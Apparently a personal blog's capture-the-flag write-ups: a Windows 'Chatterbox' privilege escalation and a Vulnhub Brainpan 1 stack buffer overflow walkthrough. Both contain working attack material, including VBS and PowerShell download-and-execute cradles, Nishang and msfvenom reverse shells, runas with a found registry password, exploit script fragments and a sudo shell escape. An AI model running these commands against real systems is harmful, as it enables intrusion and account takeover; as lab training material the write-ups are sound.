Straight away we find some useful information:

So, its a Windows 7 box, likely to be vulnerable to rotton potato, but i’ll save that for a last resort.

We also know there is only 1 Admin user, Administrator and we aren’t part of any groups, so hints there!

Looking through the networking and running processes, we don’t find a huge amount more information.

WMIC is installed though, so let’s take a quick look through there. Again nothing stands out.

It’s at this point, I revert to scripts, there is a great one called Powerless

To get this across we have a couple of options, either we can use powershell’s invoke-webrequest, or we can create a VBS wget script.

Let’s do the latter, host the script on a simple webserver on kali

python -m simpleHTTPServer 9001

Then on the Win7 box, go to a writable folder, I like to use the “Favorites” folder in the user area.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

I’ve bolded the bits that need to be changed. I find it works better to copy & paste 1 line at a time rather than all of them at once.

The reason I use this, and powerless rather than something like PowerUp is because although Windows 7 does have Powershell, it’s an early version and a lot of commands don’t work and I spend more time troubleshooting that then getting anything done!

This has successfully downloaded the file, let’s run it and see what we get.

There is so much output, and I won’t copy all of it, as it would just be crazy to go through!

There are however 208 hotfixes installed. So that’s any kernal exploits likely to be patched!

We do get some priviledge information


Privilege Name Description State 
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
--- All users, accounts and groups ---

Nothing out of the normal there. SeChangeNotifyPriviledge is the one required for rottonpotato to work. So that’s worth bearing in mind.

Interesting AVAST is installed, this is a virus scanner. Do we need that on a CTF?

The Alfred user is stored in the registry, so we have that:

--- Searching Registry for Passwords ---
DefaultDomainName REG_SZ 
DefaultUserName REG_SZ Alfred
DefaultPassword REG_SZ Welcome1!

It doesn’t help us here, but in real life where password reuse is rife, this could be handy for later (also to note the crap password!)

There is a sysprep file we can look at:


Unfortuantely this runs as Alfred and has the password removed. So no luck.

That didn’t gain us much. Shall we try powerup.ps1? This might not work due to powershell issues.

Rather than re-using the wget script, let’s try powershell. To get into powershell we need to type:


This actually hangs and doesn’t open powershell. The only way out was Ctrl+C, so we have to re-do the BoF. I wish a more complex password was used and something like RDP was open (yes people would eternal blue it, but what would be the point?)

So the BoF didn’t work without reverting the box. In our script we didn’t specific the end the THREAD so the whole program crashes rather than just the thread we were using.

While I was waiting for the box to revert, I wondered if there was a way to view who owns what files, like on linux (ps -al) as my first Linux check is always who owns /etc/passwd & /etc/shadow.

There is a flag which is

dir /q <file>

This showed an interesting result:

Alfred owns the root.txt file, yet cannot read it, or move it. What can we do?

Some googling turns up not a lot.

So let’s go back to what we were doing, we were going to get PowerUp.ps1 across. Since powershell failed last time, I’m going to use my wget script again.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script2.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script2.vbs
echo xHttp.Open "GET", "", False >> script2.vbs
echo xHttp.Send >> script2.vbs
echo with bStrm >> script2.vbs
echo .type = 1 '//binary >> script2.vbs
echo .open >> script2.vbs
echo .write xHttp.responseBody >> script2.vbs
echo .savetofile "Powerup.ps1", 2 '//overwrite >> script2.vbs
echo end with >> script2.vbs
cscript script2.vbs

We can then run it using:

powershell PowerUp.ps1

This then loads in a different window as it boots up powershell and we can’t see what it’s doing.

We really need a powershell terminal! So that means, we need to do some lateral movement.

Using a nishang payload we should be able to get a powershell reverse shell.

Download the nishang payload and edit “Invoke-PowerShellTcp.ps1” at the end of the file add:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9003

This should then download and run. What I don’t know is if this will work with our vba wget script, but let’s try it!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script3.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script3.vbs
echo xHttp.Open "GET", "", False >> script3.vbs
echo xHttp.Send >> script3.vbs
echo with bStrm >> script3.vbs
echo .type = 1 '//binary >> script3.vbs
echo .open >> script3.vbs
echo .write xHttp.responseBody >> script3.vbs
echo .savetofile "Invoke-PowerShellTcp.ps1", 2 '//overwrite >> script3.vbs
echo end with >> script3.vbs

Set up a listener

nc -nvlp 9003

Then do:

cscript script3.vbs

Annnnd, we do not get a reverse shell. Fuuuck.

Ok, let’s try and download this via powershell!

powershell IEX(New-Object Net.WebClient).downloadString('')

Aha! That time, we got it!

You’ll see the screen on the left looks to have frozen, as it’s running the reverse shell, but we have that shell on the right, so we can now hopefully run PowerUp.ps1 with the module “Invoke-AllChecks”

Import-Module .\Powerup.ps1; Invoke-AllChecks

It doesn’t seem to run.
So what i’m going to do, is add the run command to the bottom of it, and download it via powershell.

In the powerup script, we will add “Invoke-AllChecks” at the bottom of the script, so it should run as soon as it’s downloaded!

Hosting this on a webserver, we download it:

IEX(New-Object Net.WebClient).downloadString('')

It downloads, and then a blank screen. Let’s wait to see if its run and if we can see any output from this!

Nothing returned. Ok, let’s try this again manually, let’s download it without invoke all checks at the end. Using the same as above, we download it.

It isn’t there, it doesn’t save! That’s likely to be the issue! So, let’s download it with our vba script, then run it with powershell!

Now, we have powerup there!

So, how the fuck do we run this?

This is what I was talking about earlier with older/newer powershell versions, it’s just a pain. I don’t know why nothing is working to run this!

I can’t get this to run, I’ve not idea why. But let’s go back to what I said earlier when we found the password. Password reuse is a thing, could it be a thing here for Administrator?

I have a few commands that allow us to try this out, these have to be run under powershell otherwise it doesn’t work:

$username = 'Administrator'
$password = 'Welcome1!'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword

Start-Process powershell -Credential $credential -Verb "runas" -arg "IEX(New-Object Net.WebClient).downloadString('')"

What this will do, is set the password, and run the command as Administrator. The command gets another Nishang payload, with the reverse shell pointing to a different port, and if it works, we will have a powershell as admin!

So that appears to just hang, it doesn’t go to my webserver and I have absolutely no idea why, as the same thing has worked before!

I accidentally Ctrl+C’ed my terminal, so trying to re-get my original shell is proving a massive pain in the arse, but we will get there! 3 resets later and some unknown fucking reason why it won’t do anything, I watched the ippsec video to work out how he did this first part.

********Let’s start again!**********

After having a break for a day, due to frustration at failing to re-get my reverse shell. I reset the box 5 times, tried 3 different methods for shell, I was mega cross, angrily turned my computer off and stormed downstairs like a grumpy teenager. It wasn’t pretty!

Anyway, here we go again!

I re-created the payload using:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9010 -a x86 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\[31/31$
\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

(Note the very important IP address change)

Put that into the python scrip and start the listener,

nc -nvlp 9010

We get our reverse shell back! Huzzah!

Now let’s get that up to a powershell terminal.

powershell IEX(New-Object Net.WebClient).downloadString('')

Remembering to change the IP address in the nishang payload!

We have our powershell payload excellent!

So, we have a password of Welcome1! Let’s try and use powershell to use that and get another nishang payload as root!

Using the powershell we tried last time but with a subtle tweak

$username = 'Administrator' 

$password = 'Welcome1!' 

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
Start-Process -FilePath "powershell" -Credential $credential -argumentlist "IEX(New-Object Net.WebClient).downloadString('')"

Yesss, we get a hit on our fileserver!

But we do not get a reverse shell! Bummer!

Ah that is because I didn’t change the IP address in the nishang payload, blast!

Let’s try again! Very strangely, the powershell is now just hanging and won’t do anything. It’s almost as if in the background there is a powershell running that we can’t see that is stalling it all.

After a couple of goes, I realised it was something about how I was copying out of the terminal. If I copied from here, it worked straight first time!

It calls back, our nishang shell comes home and boom, we are root!

So I got super cross, and lost loads of time when my payload wouldn’t execute after I killed the sessions by accident. I’m not sure why this was, it might have been a typo in my code I was copying, it could have been other things. But for that reason, I hate this box!

Anyway, that is root. However, there is a much more interesting way then invoking powershell as another user.

Back in our low level cmd line access!

Remember earlier we saw that the root flag was owned by Alfred?

C:\Users\Administrator\Desktop>dir /q root.txt
dir /q root.txt
Volume in drive C has no label.
Volume Serial Number is 9034-6528

Directory of C:\Users\Administrator\Desktop

12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt
1 File(s) 32 bytes
0 Dir(s) 18,114,719,744 bytes free

Well can we do anything with that? After some reading and a tutorial, we can!

There is a tool called icacls. This lets us look at permissions for files and folders. So let’s look at the Desktop

C:\Users\Administrator>icacls Desktop
icacls Desktop

Successfully processed 1 files; Failed processing 0 files

So I had a look at the help and got the permission definintions:

 (OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container

Right, so Alfred has the same permissions as Administrator. We also have full access to root.txt

C:\Users\Administrator\Desktop>icacls root.txt
icacls root.txt
root.txt CHATTERBOX\Administrator:(F)

Successfully processed 1 files; Failed processing 0 files

So what can we do with that, well we can grant ourselves read access.

C:\Users\Administrator\Desktop>icacls root.txt /grant Alfred:F
icacls root.txt /grant Alfred:F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files

This then lets us read the file:

That is super useful and definitely a trick i’ll keep up my sleeve!

So there we have it! 2 ways to root the box. I’m sure there are more method to get a shell using the remote overflow, but this will do for me!

Onto the next one!



Well, it’s been pretty quiet round here, I had 30 days of OSCP labs. One thing I learnt from there that i’d never done before was Buffer overflows.

So, as it’s not something I’ve done or written up before, let’s take a look at Brainpan from Vulnhub. This will be Brainpan 1 found here: https://www.vulnhub.com/entry/brainpan-1,51/

This is a “simple” buffer overflow! The first time I did this box, I got absolutly thrown, as I was running the executable on my Windows 10 machine. Each fuzzing attempt showed a different crash point, after a few frustrating ours, I learnt that this was due to ASLR built into Win10. So, if you are going to try this box and want to do it in a Windows environemnt (with Immunity debugger) which is what we will do, get a Windows XP or Windows 7 VM.

First up, we download the OVA file and boot it up in VMWare.

Well, it’s basic! Ok, let’s find what IP this box has been given!

The box is natted, so it will share the same subnet as my win XP vm and kali VM as well my windows 10 host.

Looking at my kali box, we do a:

ip a

Seeing the network adapaters we have:

Looks like it will have a 192.168.116.XX ip address. Let’s do a pingsweep and see what we get:

nmap -sP

I have a few hosts on and I can narrow it down to

Doing a full portscan on that host, hopefully we get something interesting!

nmap -p- -vv

We have 2 open ports. Let’s do a scripts scan on them to see what we have open

Scanning just the two ports:

nmap -sC -sV -p 9999,10000

We get some more information:


Well it’s certainly the right box! Port 10000 is a webserver, lets’s check that out.

Hmm, ok! Just a static page, nothing to see there. Let’s run a gobuster and see if we can find anything more:

Almost immediately we get a hit:

/bin (Status: 301)

Looking there, we have a directory listing.


Let’s download the executable. Looking at strings, we get a lot of the process, and an oddity:

Lot’s of A’s which is odd, but “shitstorm” stands out. Could be a password?

Let’s try it using nc to connect to the port:

nc 9999

Cool, access granted. Does nothing. However, let’s be honest, this is just the foreplay. We picked this box as it’s a buffer overflow. Let’s stop messing about and get into it!

Let’s boot up Windows XP and take a few moments to remember how great XP was, well one bit particularly:

1,268,750 not a bad score nowhere near my best though!

Anyway, back on task. We will need a bugger, the OSCP and therefore I use Immunity this will also install python which is useful for later.

On the Windows XP machine, let’s visit the brainpan site:

Download the exe. Double click to start it and open Immunity. We now need to attach the process. In Immunity “File -> Attach” and we get a list of all running processes:

Click on brainpan and click “Attach”

We can now see all the code for the brainpan app. There is a lot to take in on this screen, but basically.

The program commands are the CPU instructions so jump forward, move, return etc. As each command is run it goes back to here to see what the next instruction is.

The pointers (registers might be a better word) are the addresses in the dump and stack that the next instruction will use.

The dump is the hex value of the entire program, this is what the program contains and will do

The Stack is the memory locations for each command.

It is pretty confusing but it does make sense. If you’ve not come across any of these before, i’d recommend doing some googling and watching some videos to fully understand.

So when we attach the program in Immunity it “pauses” the program, so the first thing we need to do is click the play button:

Once running it should look like the above, with the blue text in the registers and the EIP stating “ntdll.kifastsystemcallret”
If not, click the back arrow (2 left of the play button) and click play again.

Now that the program is running, we need to see if we can crash it by sending it so much data that we overwrite the pointers. If we can do that, we can work out where the registers are held in memory and send just the right amount of information to then be able to overwrite them. If we can overwrite them we control what the program does. If we control what the program does, we can put in some shellcode and get a reverse shell.

That’s how stack overflows work in a nutshell.

So first up, we need to try and crash it. Googling we find a few different scripts for stack buffer overflows, however I’m going to use and modify the one from the OSCP.

To crash this program, we don’t need to do anything clever like send a username and password, just the data to port 9999.

So in our Windows XP machine, we create a file called fuzzer.py

Then we can use the program called IDLE that was installed with Python. It has colouring and looks quite nice.

Our finish script is:

I have also chucked it on my github.

When we run this, it shows how much data it is throwing at the program and the program that is running tells us of the crash:

Looking in the Immunity debugger, we see a few interesting things.

We have overwritten the pointers and overwritten the stacks with all the A’s!

Most importantly, we have overwritten the EIP and ESP. We can use the EIP to point the program to our shellcode which we will store in the ESP.

I run the fuzzer a couple more times, just to check that it crashes on 1500 bytes each time. If the crash isn’t consitent we can’t replicate the crash and do the overflow. When doing this originally on my Windows10 box, the crash point moved and went from 1,500 up to 500,000 over a few runs. This threw me for hours and shows how ASLR works, for this, we don’t need to worry about that.

So we can crash the program, what’s next? Well instead of fuzzing it each time, can we replicate the crash by just using 1,500 bytes each time?

Let’s create a new script called brainpan.py

This script is more straightforward and is on my github.

Before we run this script, we need to reset the program, so it’s not in it’s crashed state. In Immunity click the double back arrows (or Ctrl+F2) to reset the program, then click play(or F9).

Then run the script!

Running this does crash the brainpan.exe in the same way. This is great.

So next, we need to work out where the EIP so we can control it!

There is a msf module which allows the creation of a unique string to the length you need.

Heading over to our kali box, we create a unique payload which is 1500 characters. The tool is held in /usr/share/metasploit-framework/tools/exploit

The command we use is:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500

This creates the payload

We put this into the script where the payload was.

Reset the program (Ctrl + F2, F9)

Run the script.

This time we can see that the crash contains the different characters:

So the EIP isn’t 41414141 (to represent the A’s) anymore, its now 35724134. What does that mean, well there is another tool called pattern_offset which tells you the offset for these characters, allowing us to know exactly where the EIP is in the stack.

Heading back to our kali box, we run:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 -l 1500

This tells us the offset of those characters:

[*] Exact match at offset 524

What this means, is that there are 524 characters before the EIP. So if we send 524 A’s. Then the EIP is 4 bytes so 4 B’s. Then a bunch of C’s, we can see if we have control of the EIP.

For that we need to tweak our script again.

payload = "A"*524 + "B"*4 + "C"*900

Our payload shouldn’t be more than 900 bytes, so that is just an arbitrary number I’ve chosen.

Restart the brainpan program and run the script again.

Ok, there we have it!

So you can see that the EDX contains all the A’s.

The EIP is then 4242424242 which is great as 42 is the hex value of B.

We can also see that the ESP contains the C’s.

This really has working in our favour!

So, the next thing we need to do, is work out ideally what we want the program to do.

Ideally, we want to put our shellcode where the C’s are (by the ESP pointer), we need to find out if this has enough space. Right click on the ESP pointer and choose “follow in dump”

The dump will then jump to where this is. If we are lucky we will see line after line of C’s. If we only see like 4 C’s, we won’t have enough space our payload.

Luckily for us, that is a whole bunch of C’s. Each line is 8 and we have 59 lines. That’s 472 bytes which should be plenty for our payload!


So, what we need to do next is check for bad characters. So bad characters are characters that the program can’t deal with. If we have a payload with a character that breaks the program in an unexpected way, our payload won’t run.

To do that, we need a list of all the characters in hex format. A quick google brings back a list, we put that into the script:

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

We then need to set the payload to have 528 A’s then the bad characters

payload = "A"*524 + "B"*4 + badchars

Restart the program in Immunity and rerun the script.

If we jump to the ESP in the stack, we can see it’s all nonsense. Not the characters we were expecting:

The hex values don’t seem to tie up with the list of characters, so that means the first hex value x00 must be a bad character. (x00 is a null byte, so most programs don’t process them correctly.

Remove that from the list of bad characters. Restart the program and re-run script.

This time we can see that all the hex values are  there, starting at 01 and ending at FF.

This means there are no other bad characters, this is good news!

Keep a note of the bad character as we will need that later when creating our payload.

We now need to work out how to move the program to the shellcode we will put in the ESP register. To do that we need to find if the program is running any sort of ASLR or other mechanism to fuck us over.

To do this we need the mona module for Immunity. Download it and get it installed, it’s very straightforward. 

What we need first is the modules option. In the bar at the bottom of Immunity type in

!mona modules

This will bring us a list of all modules. We are looking for anything that has False across the board!

We can see that brainpan.exe is false across the board. This is good news, so we can use that.

So within the brainpan program, we need to find a “JMP ESP” command.

Again, we can use mona for this. However first each command has a unique code, we can either google this, or use the nasm_shell module from metasploit. We can run the module and enter the command we want.

nasm > jmp esp
00000000 FFE4 jmp esp

So we are looking for a bit of the program with the code FFE4 and is within brainpan.exe.

Luckily mona can help us out again, it allows searching, we need to search using the hex values so “\x” preceding each hex value.

!mona find -s "\xff\xe4" -m brainpan.exe

Running it found 1 pointer.

So we have a pointer at “311712f3”. Double clicking on that line takes us back to our normal screen with the code. We can see that it is a JMP ESP command.

Great, so what we can do, is overwrite the EIP with this location, which will make the program jump to the ESP area in the dump where we have put our shellcode.

Let’s get that into our script. However, the address needs to be written in reverse (but with the hex value in the same order), so instead of:


we will have


It will also need the hex stuffs round it so will be


Why is this? I have no idea! Feel free to leave a comment or hit me up on twitter if you can ELI5!

Adding this into our script we now have something like this:

import socket

EIP = "\xF3\x12\x17\x31"

print "Sending the overflow"
payload = "A"*524 + EIP + "C"*472
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Let’s check that this works as expected.

Restart the program, then we want to set a breakpoint at our JMP ESP. To set a breakpoint its F2. When the breakpoint is set it will be bright blue.

Run the script.

So we can see that the EIP points to 311712F3 and the ESP is full of C’s. Looking in the stack, we can see we are at the top of the C’s.

This is great news. We just need our payload!

Msfvenom is the best way to create the payload. As it’s a windows box, we can use the windows/shell_reverse_tcp as it’s an unstaged payload so we can pick it up with netcat.

When creating the shellcode, we need to put in the bad characters using the -b flag. In this case the only bad character was x00. As many as needed can be added.

We are still doing everything on our local WindowsXP machine, so the Lhost will be We will have to recreate this for our kali instance when attacking the actual brainpan box. The reason we are doing it locally first, is to keep it as simple as possible. If we did it straight to our kali box, there could be networking issues resulting in our reverse shell or the payload was wrong, or a number of other things. So to keep it as simple as possible we have the least amount of variables.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Running that in our kali box, we get the shell code.

We also see that the payload length if 351 bytes. This is important as we need to add the C’s after the payload to fill up the stack.

Adding it into our script we get:

import socket

EIP = "\xF3\x12\x17\x31"
shellcode = ("\xd9\xeb\xd9\x74\x24\xf4\xbb\x85\x9d\x42\x65\x5a\x31\xc9\xb1"
"\x05\xe2\x55\xe5\x26\x27" )

print "Sending the overflow"
payload = "A"*524 + EIP + shellcode + "C"* (472 - 351)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Now we need to get netcat onto the windows XP box. There is a static nc binary on kali in /usr/share/windows-binaries.
Host that folder with a python simple webserver

python -m SimpleHTTPServer 9001

Visit that in the browser and download onto the XP box.

Get netcat running:

nc.exe -nvlp 9988

Restart the program in Immunity and run the script.

Hmm, it crashed but we didn’t get a reverse shell. Bollocks.

In overflows there are a thing called “nops”, these are effectively nothing bytes which don’t do anything just move onto the next byte. So by adding a few of those we create what is known as a “nopsled”. What this does is gives a bit of a runup to the shellcode, so the code isn’t being executed “too quickly”.

Let’s add some to the script. The code for these is “\x90”. Our payload now looks like:

payload = "A"*524 + EIP + "\x90" * 8 + shellcode + "C"* (472 - 351 - 8)

Restart the program and run it again, we can see at the breakpoint of our JMP ESP that the stack has the nopsled in:

The 90’s are there.

So continue the program (F9) and it doesn’t work.

What the heck! Looking at the stack, the nopsled is there. Not sure what’s going on.

Let’s increase the nopsled and see if that makes any difference.

Increasing the nopsled to 16 made it work. Doing some trail and error the minimum number of nops we needed was 10. I have absolutly no idea why 8 wasn’t enough. If anyone can explain, please let me know!

Moving on, we have a working script. We can overflow the program and point it back to us for a reverse shell. So let’s do this at the brainpan machine.

We need to change a couple of things, firstly we need a reverse shell code with our kali IP, so recreating the shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Put the resulting code into the script, note if the length has changed at all and update that.

We also need to change the s.connect IP address to the brainpan box.

Set up a listener, and run the script!

Yes!! We have a reverse shell on the brainpan box!

Buffer overflow complete!

Brainpan does have some priv esc, which surprised me and I haven’t done previously (it took me many hours last time and I finished the BoF at 1am, so stopped there) let’s adventure together to try priv esc!

So we are in a windows environment, the box is Ubuntu (I noticed when it booted up), so we are running in some sort of wine environment. I guess we have to break out of this.

Trying basic escapes like /bin/bash or os.system all fail. I can’t access python so can’t do the python -c import etc etc.

Moving up the tree confirms we are in a linux environment:

Moving into the bin directory and trying a bash reverse shell we get an error:

It must be a wine environment, so let’s search for some common breakouts.

Trying all the common breakouts I could find, I couldn’t get a breakout.

What if we change our shellcode to be linux?

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=9988 -f c -b "\x00"

Again, check the size (wow linux is a smaller payload) and add it into the script, changing the size of the C’s if needed.

Run the script:

We now have a linux shell, and I have upgraded it to a bash shell using:

python -c 'import pty;pty.spawn("/bin/bash")'

The first thing I always check these days, is sudo.

sudo -l

Well that was worth a check!

Matching Defaults entries for puck on this host:
env_reset, mail_badpass,

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

So we can run that program in the home directory.

Running it we get a help file:

So the most interesting there is “manual [command]”

Can we do any command like read the shadow file?

That’s strange as the /etc/shadow file does exist.

Maybe I don’t need the quotes?

That’s a bit of an odd error. I can input data, how about !/bin/bash

Alright, we are root!

A quick look for a flag.

No flag. But we are root on brainpan!

There we have it! The most basic Stack Buffer Overflow but a good lesson in each step. Hopefully this has been pretty clear and helpful. Give me a shout if anything doesn’t make sense or I’ve got anything wrong!

I almost forgot.

Root Dance!